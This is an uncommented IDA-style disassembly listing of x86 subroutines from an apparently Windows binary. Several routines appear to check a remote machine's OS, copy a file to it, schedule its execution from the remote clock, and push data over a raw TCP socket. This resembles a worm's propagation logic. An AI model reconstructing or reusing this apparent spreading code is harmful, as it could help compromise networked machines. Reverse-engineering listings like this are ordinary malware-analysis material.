		push	[ebp+var_530]
		call	sub_407B46
		xor	ecx, ecx
		or	eax, eax
		jnz	short loc_40854C
		lea	eax, loc_41417D
		mov	[esi], eax
		lea	eax, loc_41418B
		mov	[esi+4], eax
		mov	[esi+8], ecx
		jmp	short loc_40854F
; ---------------------------------------------------------------------------


loc_40854C:				; CODE XREF: sub_408440+F4j
		mov	[esi+eax*4], ecx


loc_40854F:				; CODE XREF: sub_408440+10Aj
		lea	esi, [ebp+var_33A]
		jmp	loc_4087F6
; ---------------------------------------------------------------------------


loc_40855A:				; CODE XREF: sub_408440+3B9j
		lea	edi, loc_414191
		mov	[ebp+var_534], 0
		jmp	loc_4087DC
; ---------------------------------------------------------------------------


loc_40856F:				; CODE XREF: sub_408440+39Fj
		mov	[ebp+var_538], 0


loc_408579:				; DATA XREF: rdata:0040ABDEo
		cmp	[ebp+var_534], 0
		jnz	short loc_4085A6
		push	0


loc_408584:				; DATA XREF: rdata:0040ABE2o
		push	dword ptr [esi]
		push	dword ptr [esi]
		lea	eax, [ebp+var_312]


loc_40858E:				; DATA XREF: rdata:0040ABE6o
		push	eax
		call	sub_411800


loc_408594:				; DATA XREF: rdata:0040ABEAo
		mov	[ebp+var_534], 1


loc_40859E:				; DATA XREF: rdata:0040ABEEo
		mov	[ebp+var_538], eax
		jmp	short loc_4085B8
; ---------------------------------------------------------------------------


loc_4085A6:				; CODE XREF: sub_408440+140j
		push	0
		push	dword ptr [edi]
		push	dword ptr [esi]


loc_4085AC:				; DATA XREF: rdata:0040ABF2o
		lea	eax, [ebp+var_312]
		push	eax


loc_4085B3:				; DATA XREF: rdata:0040ABF6o
		call	sub_411800


loc_4085B8:				; CODE XREF: sub_408440+164j
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0FFFFFFFFh


loc_4085BF:				; DATA XREF: rdata:0040ABFAo
		jz	loc_4087C0
		cmp	[ebp+var_8], 0FFFFFFFBh


loc_4085C9:				; DATA XREF: rdata:0040ABFEo
		jz	loc_4087C0
		mov	edx, [ebp+var_8]


loc_4085D2:				; DATA XREF: rdata:0040AC02o
		lea	ecx, [edx+18Ah]
		cmp	dword ptr [ecx], 646E6957h


loc_4085DE:				; DATA XREF: rdata:0040ACA2o
		jz	short loc_4085F4
		push	[ebp+var_8]
		call	sub_412230


loc_4085E8:				; DATA XREF: rdata:0040ACA6o
		mov	[ebp+var_4], 0FFFFFFFBh


loc_4085EF:				; DATA XREF: rdata:0040ACAAo
		jmp	loc_4087E5
; ---------------------------------------------------------------------------


loc_4085F4:				; CODE XREF: sub_408440:loc_4085DEj
		push	(offset	loc_41405F+2)
		push	[ebp+var_8]


loc_4085FC:				; DATA XREF: rdata:0040ACAEo
		call	sub_410F30
		mov	[ebp+var_10], eax


loc_408604:				; DATA XREF: rdata:0040ACB2o
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40861D
		push	[ebp+var_8]


loc_40860C:				; DATA XREF: rdata:0040ACB6o
		call	sub_412230
		mov	[ebp+var_4], 0FFFFFFFBh


loc_408618:				; DATA XREF: rdata:0040ACBAo
		jmp	loc_4087E5
; ---------------------------------------------------------------------------


loc_40861D:				; CODE XREF: sub_408440+1C7j
		push	offset loc_414094


loc_408622:				; DATA XREF: rdata:0040ACBEo
		push	[ebp+var_10]
		call	sub_411080
		mov	[ebp+var_C], eax


loc_40862D:				; DATA XREF: rdata:0040ACC2o
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40864E
		push	[ebp+var_10]


loc_408635:				; DATA XREF: rdata:0040ACC6o
		call	sub_412230
		push	[ebp+var_8]
		call	sub_412230


loc_408642:				; DATA XREF: rdata:0040ACCAo
		mov	[ebp+var_4], 0FFFFFFFBh


loc_408649:				; DATA XREF: rdata:0040ACCEo
		jmp	loc_4087E5
; ---------------------------------------------------------------------------


loc_40864E:				; CODE XREF: sub_408440+1F0j
		push	(offset	loc_4140F2+1)
		push	[ebp+var_C]


loc_408656:				; DATA XREF: rdata:0040ACD2o
		call	sub_4111E0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_408684


loc_408660:				; DATA XREF: rdata:0040ACD6o
		push	[ebp+var_C]
		call	sub_412230


loc_408668:				; DATA XREF: rdata:0040ACDAo
		push	[ebp+var_10]
		call	sub_412230
		push	[ebp+var_8]


loc_408673:				; DATA XREF: rdata:0040ACDEo
		call	sub_412230


loc_408678:				; DATA XREF: rdata:0040ACE2o
		mov	[ebp+var_4], 0FFFFFFFBh
		jmp	loc_4087E5
; ---------------------------------------------------------------------------


loc_408684:				; CODE XREF: sub_408440+21Ej
		xor	eax, eax


loc_408686:				; DATA XREF: rdata:0040ACE6o
		mov	[ebp+var_546], eax


loc_40868C:				; DATA XREF: rdata:0040ACEAo
		mov	[ebp+var_542], 0


loc_408696:				; DATA XREF: rdata:0040ACEEo
		mov	[ebp+var_53E], 0
		mov	[ebp+var_53D], 0


loc_4086A4:				; DATA XREF: rdata:0040ACF2o
		lea	eax, loc_414135
		mov	[ebp+var_53C], eax


loc_4086B0:				; DATA XREF: rdata:0040ACF6o
		lea	eax, [ebp+var_524]
		push	eax


loc_4086B7:				; DATA XREF: rdata:0040ACFAo
		lea	eax, [ebp+var_520]
		push	eax
		lea	eax, [ebp+var_546]


loc_4086C4:				; DATA XREF: rdata:0040ACFEo
		push	eax
		lea	eax, [ebp+var_312]
		push	eax


loc_4086CC:				; DATA XREF: rdata:0040AD02o
		push	[ebp+var_C]
		call	sub_411C50


loc_4086D4:				; DATA XREF: rdata:0040AD06o
		lea	eax, [ebp+var_52C]
		push	eax
		lea	eax, [ebp+var_528]
		push	eax


loc_4086E2:				; DATA XREF: rdata:0040AC22o
		push	[ebp+var_524]


loc_4086E8:				; DATA XREF: rdata:0040AC26o
		push	[ebp+var_520]
		push	3
		push	0
		push	[ebp+var_C]


loc_4086F5:				; DATA XREF: rdata:0040AC2Ao
		call	sub_411340
		cmp	eax, 0FFFFFFFFh


loc_4086FD:				; DATA XREF: rdata:0040AC2Eo
		jz	loc_40879E
		mov	eax, [ebp+var_528]


loc_408709:				; DATA XREF: rdata:0040AC32o
		or	eax, eax
		jz	short loc_408710
		mov	ecx, [eax+4]


loc_408710:				; CODE XREF: sub_408440+2CBj
		or	ecx, ecx


loc_408712:				; DATA XREF: rdata:0040AC36o
		jnz	loc_40879E


loc_408718:				; DATA XREF: rdata:0040AC3Ao
		cmp	[ebp+var_538], 0
		jz	short loc_40875D
		push	offset word_41B10A


loc_408726:				; DATA XREF: rdata:0040AC3Eo
		lea	eax, [ebp+var_312]
		push	eax
		push	[ebp+var_8]


loc_408730:				; DATA XREF: rdata:0040AC42o
		call	sub_408810
		push	dword ptr [esi]
		push	dword ptr [esi]


loc_408739:				; DATA XREF: rdata:0040AC46o
		lea	eax, [ebx+18Ah]
		push	eax
		lea	eax, [ebp+var_312]


loc_408746:				; DATA XREF: rdata:0040AC4Ao
		push	eax
		push	(offset	loc_41413F+2)


loc_40874C:				; DATA XREF: rdata:0040AC4Eo
		lea	eax, [ebp+var_2CC]
		push	eax


loc_408753:				; DATA XREF: rdata:0040AC52o
		call	sub_40A0F2
		add	esp, 18h


loc_40875B:				; DATA XREF: rdata:0040AC56o
		jmp	short loc_408797
; ---------------------------------------------------------------------------


loc_40875D:				; CODE XREF: sub_408440+2DFj
		push	offset word_41B10A


loc_408762:				; DATA XREF: rdata:0040AC5Ao
		lea	eax, [ebp+var_312]
		push	eax


loc_408769:				; DATA XREF: rdata:0040AC5Eo
		push	[ebp+var_8]


loc_40876C:				; DATA XREF: rdata:0040AC62o
		call	sub_408810
		push	dword ptr [edi]
		push	dword ptr [esi]


loc_408775:				; DATA XREF: rdata:0040AC66o
		lea	eax, [ebx+18Ah]
		push	eax


loc_40877C:				; DATA XREF: rdata:0040AC6Ao
		lea	eax, [ebp+var_312]
		push	eax


loc_408783:				; DATA XREF: rdata:0040AC6Eo
		push	(offset	loc_41413F+2)


loc_408788:				; DATA XREF: rdata:0040AC72o
		lea	eax, [ebp+var_2CC]
		push	eax


loc_40878F:				; DATA XREF: rdata:0040AC76o
		call	sub_40A0F2
		add	esp, 18h


loc_408797:				; CODE XREF: sub_408440:loc_40875Bj
					; DATA XREF: rdata:0040AC7Ao
		mov	[ebp+var_4], 0


loc_40879E:				; CODE XREF: sub_408440:loc_4086FDj
					; sub_408440:loc_408712j
		push	[ebp+var_C]


loc_4087A1:				; DATA XREF: rdata:0040AC7Eo
		call	sub_412230


loc_4087A6:				; DATA XREF: rdata:0040AC82o
		push	[ebp+var_10]
		call	sub_412230


loc_4087AE:				; DATA XREF: rdata:0040AC86o
		push	[ebp+var_8]
		call	sub_412230


loc_4087B6:				; DATA XREF: rdata:0040ABCAo
		cmp	[ebp+var_4], 0
		jnz	short loc_4087CF


loc_4087BC:				; DATA XREF: rdata:0040ABD2o
		jmp	short loc_4087E5
; ---------------------------------------------------------------------------
		dw 0FEBh
; ---------------------------------------------------------------------------


loc_4087C0:				; CODE XREF: sub_408440:loc_4085BFj
					; sub_408440:loc_4085C9j
		cmp	[ebp+var_8], 0FFFFFFFBh


loc_4087C4:				; DATA XREF: rdata:0040ABCEo
					; rdata:0040ABD6o ...
		jnz	short loc_4087CF
		mov	[ebp+var_4], 0FFFFFFFBh	; DATA XREF: sub_40A950+26r
		jmp	short loc_4087E5
; ---------------------------------------------------------------------------


loc_4087CF:				; CODE XREF: sub_408440+37Aj
					; sub_408440:loc_4087C4j
		push	0FAh
		call	sub_40A212
		add	edi, 4


loc_4087DC:				; CODE XREF: sub_408440+12Aj
		cmp	dword ptr [edi], 0
		jnz	loc_40856F


loc_4087E5:				; CODE XREF: sub_408440:loc_4085EFj
					; sub_408440:loc_408618j ...
		add	esi, 4
		cmp	[ebp+var_4], 0
		jz	short loc_4087F4
		cmp	[ebp+var_4], 0FFFFFFFBh
		jnz	short loc_4087F6


loc_4087F4:				; CODE XREF: sub_408440+3ACj
		jmp	short loc_4087FF
; ---------------------------------------------------------------------------


loc_4087F6:				; CODE XREF: sub_408440+115j
					; sub_408440+3B2j
		cmp	dword ptr [esi], 0
		jnz	loc_40855A


loc_4087FF:				; CODE XREF: sub_408440+82j
					; sub_408440+97j ...
		push	offset dword_41BC90
		call	sub_40A1B2
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_408440	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408810	proc near		; CODE XREF: sub_408440:loc_408730p
					; sub_408440:loc_40876Cp

var_B14		= byte ptr -0B14h
var_4D2		= dword	ptr -4D2h
var_4CE		= dword	ptr -4CEh
var_4CA		= byte ptr -4CAh
var_4C9		= byte ptr -4C9h
var_4C8		= dword	ptr -4C8h
var_4C4		= byte ptr -4C4h
var_208		= byte ptr -208h
var_DC		= byte ptr -0DCh
var_D8		= byte ptr -0D8h
var_D4		= byte ptr -0D4h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFF4ECh
		push	edi
		push	esi
		push	ebx
		push	[ebp+arg_0]
		pop	[ebp+var_4]
		push	(offset	loc_41405F+2)
		push	[ebp+var_4]
		call	sub_410F30
		mov	[ebp+var_8], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_4089AF
		push	offset loc_41411C
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40A25A
		lea	eax, [ebp+var_4C4]
		push	eax
		push	offset loc_414119
		push	[ebp+arg_4]
		push	[ebp+var_8]
		call	sub_408AD0
		cmp	eax, 844h
		jnz	short loc_408892
		push	(offset	loc_41411F+1)
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40A25A
		lea	eax, [ebp+var_4C4]
		push	eax
		push	offset loc_414119
		push	[ebp+arg_4]
		push	[ebp+var_8]
		call	sub_408AD0


loc_408892:				; CODE XREF: sub_408810+58j
		or	eax, eax
		jz	short loc_4088A1
		cmp	eax, 846h
		jnz	loc_4089AF


loc_4088A1:				; CODE XREF: sub_408810+84j
		mov	edi, [ebp+arg_8]
		push	edi
		call	sub_40A266
		jmp	short loc_4088AD
; ---------------------------------------------------------------------------


loc_4088AC:				; CODE XREF: sub_408810+A1j
		dec	eax


loc_4088AD:				; CODE XREF: sub_408810+9Aj
		cmp	byte ptr [eax+edi], 5Ch
		jnz	short loc_4088AC
		lea	edi, [eax+edi]
		push	edi
		lea	eax, [ebp+var_B14]
		push	eax
		call	sub_40A25A
		lea	eax, [ebp+var_B14]
		push	eax
		push	[ebp+arg_8]
		push	offset loc_414119
		push	[ebp+var_4]
		call	sub_408BB0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4089AF
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_D4]
		push	eax
		push	[ebp+var_8]
		call	sub_408A40
		cmp	eax, 0FFFFFFFFh
		jz	loc_4089AF
		lea	edi, [ebp+var_D4]
		add	edi, 4
		mov	eax, [edi]
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		sub	eax, [edi+18h]
		add	eax, 2
		xor	edx, edx
		mov	ecx, 5A0h
		div	ecx
		mov	eax, edx
		imul	eax, 0EA60h
		mov	[ebp+var_4D2], eax
		mov	[ebp+var_4CE], 0
		mov	[ebp+var_4CA], 0
		mov	[ebp+var_4C9], 0
		mov	edi, [ebp+arg_8]
		push	edi
		call	sub_40A266
		jmp	short loc_408952
; ---------------------------------------------------------------------------


loc_408951:				; CODE XREF: sub_408810+146j
		dec	eax


loc_408952:				; CODE XREF: sub_408810+13Fj
		cmp	byte ptr [eax+edi], 5Ch
		jnz	short loc_408951
		inc	eax
		lea	edi, [eax+edi]
		lea	eax, [ebp+var_4C4]
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_40A25A
		push	edi
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_40A248
		lea	eax, [ebp+var_208]
		mov	[ebp+var_4C8], eax
		lea	eax, [ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_4D2]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+var_8]
		call	sub_4089C0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4089AF
		xor	esi, esi


loc_4089AF:				; CODE XREF: sub_408810+25j
					; sub_408810+8Bj ...
		push	[ebp+var_8]
		call	sub_412230
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	0Ch
sub_408810	endp

; ---------------------------------------------------------------------------
		dw 0FF8Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4089C0	proc near		; CODE XREF: sub_408810+193p

var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	edi
		push	esi
		push	ebx
		mov	esi, 0FFFFFFFFh
		push	offset loc_414094
		push	[ebp+arg_0]
		call	sub_411080
		mov	[ebp+var_14], eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408A30
		push	(offset	loc_4140F2+1)
		push	[ebp+var_14]
		call	sub_4111E0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408A28
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+var_14]
		call	sub_411C50
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	0
		push	[ebp+var_14]
		call	sub_412840
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408A28
		xor	esi, esi


loc_408A28:				; CODE XREF: sub_4089C0+33j
					; sub_4089C0+64j
		push	[ebp+var_14]
		call	sub_412230


loc_408A30:				; CODE XREF: sub_4089C0+21j
		mov	eax, esi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	14h
sub_4089C0	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408A40	proc near		; CODE XREF: sub_408810+E1p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFCCh
		push	edi
		push	esi
		push	ebx
		mov	esi, 0FFFFFFFFh
		push	28h
		push	0
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_40F5F0
		push	(offset	loc_41409A+1)
		push	[ebp+arg_0]
		call	sub_411080
		mov	[ebp+var_4], eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408ABF
		push	offset loc_4140A3
		push	[ebp+var_4]
		call	sub_4111E0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408AB7
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	28h
		lea	eax, [ebp+var_2C]
		push	eax
		push	1Ch
		push	[ebp+var_4]
		call	sub_412840
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408AB7
		mov	edx, [ebp+arg_8]
		mov	eax, [ebp+var_34]
		mov	[edx], eax
		push	[ebp+var_34]
		push	[ebp+var_30]
		push	[ebp+arg_4]
		call	sub_40F5BF
		xor	esi, esi


loc_408AB7:				; CODE XREF: sub_408A40+40j
					; sub_408A40+5Dj
		push	[ebp+var_4]
		call	sub_412230


loc_408ABF:				; CODE XREF: sub_408A40+2Ej
		mov	eax, esi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	0Ch
sub_408A40	endp

; ---------------------------------------------------------------------------
		dd 24A48Dh, 90000000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408AD0	proc near		; CODE XREF: sub_408810+4Ep
					; sub_408810+7Dp

var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEC0h
		push	edi
		push	esi
		push	ebx
		mov	esi, 0FFFFFFFFh
		push	[ebp+arg_4]
		push	offset loc_414114
		lea	eax, [ebp+var_130]
		push	eax
		call	sub_40A0F2
		add	esp, 0Ch
		push	(offset	loc_41409A+1)
		push	[ebp+arg_0]
		call	sub_411080
		mov	[ebp+var_4], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_408B9D
		push	offset loc_4140A3
		push	[ebp+var_4]
		call	sub_4111E0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408B95
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_134]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_4]
		call	sub_411B10
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_138]
		push	[ebp+var_134]
		push	0Eh
		push	[ebp+var_4]
		call	sub_412840
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408B8A
		cmp	[ebp+var_140], 8
		jnz	short loc_408B8A
		cmp	[ebp+var_13C], 0
		jz	short loc_408B8A
		mov	edx, [ebp+var_13C]
		mov	esi, [edx+4]


loc_408B8A:				; CODE XREF: sub_408AD0+9Dj
					; sub_408AD0+A6j ...
		push	[ebp+var_134]
		call	sub_411CE0


loc_408B95:				; CODE XREF: sub_408AD0+51j
		push	[ebp+var_4]
		call	sub_412230


loc_408B9D:				; CODE XREF: sub_408AD0+3Bj
		mov	eax, esi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	10h
sub_408AD0	endp

; ---------------------------------------------------------------------------
		dw 0A48Dh
		dd 24h,	498D00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408BB0	proc near		; CODE XREF: sub_408810+C5p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	edi
		push	esi
		push	ebx
		mov	esi, 0FFFFFFFFh
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_410F30
		mov	[ebp+var_4], eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408C06
		push	[ebp+arg_C]
		push	[ebp+var_4]
		call	sub_412470
		mov	[ebp+var_8], eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408BFE
		push	[ebp+arg_8]
		push	[ebp+var_8]
		call	sub_4125D0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408BF6
		xor	esi, esi


loc_408BF6:				; CODE XREF: sub_408BB0+42j
		push	[ebp+var_8]
		call	sub_412230


loc_408BFE:				; CODE XREF: sub_408BB0+32j
		push	[ebp+var_4]
		call	sub_412230


loc_408C06:				; CODE XREF: sub_408BB0+1Fj
		mov	eax, esi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	10h
sub_408BB0	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408C10	proc near		; CODE XREF: sub_408DC0+264p
					; sub_408DC0+3EDp ...

var_3C		= word ptr -3Ch
var_3A		= word ptr -3Ah
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFC4h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	sub_40A308
		or	eax, eax
		jz	short loc_408C34
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		jmp	short loc_408C3C
; ---------------------------------------------------------------------------


loc_408C34:				; CODE XREF: sub_408C10+19j
		push	[ebp+arg_4]
		call	sub_40A31A


loc_408C3C:				; CODE XREF: sub_408C10+22j
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		call	sub_40A314
		mov	[ebp+var_E], ax
		push	6
		push	1
		push	2
		call	sub_40A34A
		mov	[ebp+var_18], eax
		mov	[ebp+var_1C], 0
		mov	[ebp+var_38], 1
		lea	eax, [ebp+var_38]
		push	eax
		push	8004667Eh
		push	[ebp+var_18]
		call	sub_40A326
		mov	[ebp+var_3C], 1
		mov	[ebp+var_3A], 0
		push	4
		lea	eax, [ebp+var_3C]
		push	eax
		push	80h
		push	0FFFFh
		push	[ebp+var_18]
		call	sub_40A33E
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+var_18]
		call	sub_40A302
		cmp	eax, 0FFFFFFFFh
		jnz	loc_408D9B
		call	sub_40A2F0
		cmp	eax, 2733h
		jnz	loc_408DA4
		mov	[ebp+var_2C], 6
		mov	[ebp+var_28], 0
		mov	[ebp+var_34], 1
		mov	eax, [ebp+var_18]
		mov	[ebp+var_30], eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	0
		lea	eax, [ebp+var_34]
		push	eax
		push	0
		push	0
		call	sub_40A332
		or	eax, eax
		jz	loc_408D99
		cmp	eax, 0FFFFFFFFh
		jz	loc_408D99


loc_408D02:				; CODE XREF: sub_408C10+18Fj
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_405100
		mov	esi, [ebp+var_20]
		mov	ebx, [ebp+var_24]
		mov	edi, 0FFh


loc_408D1D:				; CODE XREF: sub_408C10:loc_408D88j
		mov	[ebp+var_2C], 6
		mov	[ebp+var_28], 0
		mov	[ebp+var_34], 1
		mov	eax, [ebp+var_18]
		mov	[ebp+var_30], eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	0
		lea	eax, [ebp+var_34]
		push	eax
		push	0
		push	0
		call	sub_40A332
		or	eax, eax
		jz	short loc_408D86
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408D86
		push	0
		push	edi
		push	esi
		push	[ebp+var_18]
		call	sub_40A338
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408D82
		sub	ebx, eax
		or	ebx, ebx
		jnz	short loc_408D74
		mov	[ebp+var_1C], 1
		jmp	short loc_408D8A
; ---------------------------------------------------------------------------


loc_408D74:				; CODE XREF: sub_408C10+159j
		add	esi, eax
		cmp	ebx, 0FFh
		jnb	short loc_408D88
		mov	edi, ebx
		jmp	short loc_408D88
; ---------------------------------------------------------------------------


loc_408D82:				; CODE XREF: sub_408C10+153j
		jmp	short loc_408D8A
; ---------------------------------------------------------------------------
		db 0EBh, 2
; ---------------------------------------------------------------------------


loc_408D86:				; CODE XREF: sub_408C10+13Dj
					; sub_408C10+142j
		jmp	short loc_408D8A
; ---------------------------------------------------------------------------


loc_408D88:				; CODE XREF: sub_408C10+16Cj
					; sub_408C10+170j
		jmp	short loc_408D1D
; ---------------------------------------------------------------------------


loc_408D8A:				; CODE XREF: sub_408C10+162j
					; sub_408C10:loc_408D82j ...
		push	8000h
		push	0
		push	[ebp+var_20]
		call	sub_40A230


loc_408D99:				; CODE XREF: sub_408C10+E3j
					; sub_408C10+ECj
		jmp	short loc_408DA4
; ---------------------------------------------------------------------------


loc_408D9B:				; CODE XREF: sub_408C10+9Dj
		or	eax, eax
		jnz	short loc_408DA4
		jmp	loc_408D02
; ---------------------------------------------------------------------------


loc_408DA4:				; CODE XREF: sub_408C10+ADj
					; sub_408C10:loc_408D99j ...
		push	2
		push	[ebp+var_18]
		call	sub_40A344
		push	[ebp+var_18]
		call	sub_40A2FC
		mov	eax, [ebp+var_1C]
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	0Ch
sub_408C10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408DC0	proc near		; CODE XREF: rdata:0040568Dp

var_258		= dword	ptr -258h
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_44		= dword	ptr -44h
var_3C		= byte ptr -3Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFDA8h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_44], 0
		push	offset word_41AE7E
		call	sub_40A134
		push	[ebp+arg_0]
		pop	[ebp+var_258]
		push	[ebp+arg_0]
		call	sub_40A320
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_40A25A
		push	offset word_41AE7E
		call	sub_40A1C4
		push	offset dword_41BC90
		call	sub_40A1B8
		lea	edi, loc_41409A+1
		push	0
		push	(offset	loc_413FFF+1)
		push	(offset	loc_413FFF+1)
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_411800
		cmp	eax, 0FFFFFFFBh
		jnz	short loc_408E31
		jmp	loc_409572
; ---------------------------------------------------------------------------


loc_408E31:				; CODE XREF: sub_408DC0+6Aj
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_408E4B
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_411800
		lea	edi, loc_414072+1


loc_408E4B:				; CODE XREF: sub_408DC0+74j
		cmp	eax, 0FFFFFFFBh
		jnz	short loc_408E55
		jmp	loc_409572
; ---------------------------------------------------------------------------


loc_408E55:				; CODE XREF: sub_408DC0+8Ej
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408E80
		mov	[ebp+var_24C], eax
		lea	ecx, [eax+18Ah]
		cmp	dword ptr [ecx], 646E6957h
		jz	short loc_408E85
		push	[ebp+var_24C]
		call	sub_412230
		jmp	loc_409572
; ---------------------------------------------------------------------------
		dw 5EBh
; ---------------------------------------------------------------------------


loc_408E80:				; CODE XREF: sub_408DC0+98j
		jmp	loc_409061
; ---------------------------------------------------------------------------


loc_408E85:				; CODE XREF: sub_408DC0+ACj
		push	(offset	loc_41405F+2)
		push	[ebp+var_24C]
		call	sub_410F30
		mov	[ebp+var_250], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_408EB0
		push	[ebp+var_24C]
		call	sub_412230
		jmp	loc_409061
; ---------------------------------------------------------------------------


loc_408EB0:				; CODE XREF: sub_408DC0+DEj
		push	edi
		push	[ebp+var_250]
		call	sub_411080
		mov	[ebp+var_254], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_408EE2
		push	[ebp+var_250]
		call	sub_412230
		push	[ebp+var_24C]
		call	sub_412230
		jmp	loc_409061
; ---------------------------------------------------------------------------


loc_408EE2:				; CODE XREF: sub_408DC0+105j
		push	offset loc_4140A3
		push	[ebp+var_254]
		call	sub_4111E0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_408F12
		push	[ebp+var_250]
		call	sub_412230
		push	[ebp+var_24C]
		call	sub_412230
		jmp	loc_409061
; ---------------------------------------------------------------------------


loc_408F12:				; CODE XREF: sub_408DC0+135j
		mov	edx, [ebp+var_24C]
		lea	ecx, [edx+18Ah]
